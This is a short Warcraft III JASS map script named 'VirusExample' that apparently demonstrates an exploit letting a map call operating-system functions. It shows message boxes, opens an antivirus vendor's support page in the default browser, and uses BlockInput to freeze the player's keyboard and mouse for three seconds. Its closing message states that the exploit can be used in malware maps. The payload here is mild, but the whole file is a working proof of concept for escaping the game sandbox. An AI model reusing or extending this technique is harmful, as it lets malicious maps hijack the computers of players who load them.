function VirusExample takes nothing returns nothing
    call MessageBox("This message from WC3 map!", "HELLO WORLD??? :D")
    call MessageBox("Now i demonstrate open URL from WC3 MAP!!!!", "Open url demonstration")
    call OpenUrlInDefaultBrowser("https://support.avast.com/support/tickets/new?form=3")
    call MessageBox("Now i demonstrate blockinput function!!!!", "blockinput demonstration")
    call BlockInput(true)
    call TriggerSleepAction(3.0)
    call BlockInput(false)
    call MessageBox("End demonstration!", "This exploit can be used in malware maps.")
endfunction